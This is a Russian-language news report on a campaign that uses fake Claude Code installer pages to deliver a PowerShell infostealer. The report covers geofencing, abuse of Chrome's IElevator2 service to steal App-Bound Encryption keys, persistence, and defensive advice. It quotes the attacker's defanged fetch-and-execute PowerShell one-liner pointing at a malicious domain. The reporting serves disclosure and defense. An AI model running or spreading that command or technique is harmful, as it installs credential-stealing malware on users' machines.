Разработчиков, ищущих все более популярный инструмент Claude Code от Anthropic, теперь заманивают загрузкой вредоносного ПО.
По данным исследователей из Ontinue, злоумышленники используют поддельный установщик Claude Code для доставки ранее не документированной полезной нагрузки PowerShell. Вредоносное ПО разработано для обхода обнаружения, восстановления материалов шифрования браузера и кражи конфиденциальных данных из систем разработчиков.
«Разработчики владеют ключами к самым конфиденциальным активам организации — интеллектуальной собственности, облачной инфраструктуре, конвейерам CI/CD», — заявила Винита Сангараджу, инженер по исследованиям ИИ в Black Duck. «По необходимости им также требуется свобода загружать и устанавливать программное обеспечение. Это сочетание делает их высокоценной целью».
Исследователи Ontinue заявили, что все, что потенциально может быть обнаружено в цепочке атак, обернуто в загрузчик PowerShell, что усложняет обнаружение. «Два стандартных набора правил цепочки API, которые мы оценили на бинарном файле, не дали совпадений», — говорится в их записи в блоге.
Вредоносное ПО имеет включенное «географическое исключение», которое сканирует настройки региона Windows хоста по списку исключаемых географических областей, а именно всех государств-членов СНГ и Ирана, и немедленно прерывает выполнение при совпадении.
Кампания заменяет легитимную однострочную настройку Claude Code
По данным Ontinue, кампания зависит от поддельных страниц установщиков, имитирующих каналы распространения Claude Code. Однако вместо того, чтобы доставлять легитимный однострочный сценарий установки Anthropic («irm https[:]//claude[.]ai/install.ps1 | iex»), страницы предоставляют управляемые злоумышленниками команды PowerShell («irm events[.]msft23[.]com | iex»), которые инициируют поэтапную цепочку полезной нагрузки.
После выполнения вредоносный сценарий развертывает несколько компонентов, предназначенных для обеспечения постоянства при минимизации поведенческих индикаторов, обычно связанных с загрузчиками обычного вредоносного ПО.
«Все, что легко обнаруживается — доступ к базе данных SQLite, построение архива, эксфильтрация по HTTPS, сохранение через запланированные задачи и сама цепочка внедрения процессов — находится исключительно внутри загрузчика PowerShell», — заявили исследователи, добавив, что нативный вспомогательный модуль не раскрывает никаких импортов, связанных с сетью, криптографией или перечислением файлов.
Единственным показательным признаком является одно косвенное обращение к vtable COM, отметили они.
Список действий, которые может выполнять вредоносное ПО, скрываясь от посторонних глаз, включает географическое исключение, сбор идентификаторов, перечисление браузеров, обработку ключей v10/v20, сопоставление и запуск архитектуры PowerShell, дешифрование и сбор, эксфильтрацию и обеспечение постоянства.
«Замена легитимного установщика вредоносным — не новая атака», — указала Сангараджу. «Однако то, что делает эту продолжающуюся кампанию примечательной, — это точность, с которой она была разработана для обхода методов обнаружения, на которые сегодня полагаются большинство групп безопасности. Вредоносная активность намеренно структурирована так, чтобы выглядеть безвредной для сканеров».
Сервисы повышения привилегий Chrome использовались для взлома шифрования
Исследователи также сообщили о злоупотреблении вредоносным ПО сервисами повышения привилегий Chrome для восстановления материалов шифрования, связанных с защитой Application-Bound Encryption (ABE). Полезная нагрузка использует интерфейс COM IElevator2 в Chrome для извлечения ключей шифрования ABE.
Эта возможность помогла злоумышленникам получить доступ к данным, защищенным браузером, которые обычно недоступны для программ-похитителей данных. Google представила ABE в Chrome 127 в июле 2024 года специально для того, чтобы не дать обычным похитителям данных извлекать файлы cookie и сохраненные пароли из баз данных SQLite.
Ontinue воздержались от однозначных заявлений об атрибуции, поскольку не нашли совпадений с опубликованными TTP, связанными с популярными семействами, такими как Lumma, StealC, Vidar, EDDIESTEALER, Katz, VoidStealer, Storm и XenoSteler, среди прочих. Наиболее близкое совпадение исследователи обнаружили с Glove Stealer, который также злоупотребляет IElevator, но они отклонили прямую атрибуцию, указав на шесть различных аспектов.
Набор правил YARA ruleset и набор индикаторов компрометации (IOCs) были распространены через репозитории GitHub для поддержки обнаружения, при этом исследователи рекомендовали дополнительный набор лучших практик. К ним относились принудительное использование режима ограниченного языка PowerShell, включение многофакторной аутентификации, устойчивой к фишингу, включение и проверка защиты от вмешательства AMSI, а также блокировка недавно зарегистрированных доменов.
Всегда имейте в виду, что редакции могут придерживаться предвзятых взглядов в освещении новостей.
Автор – Shweta Sharma
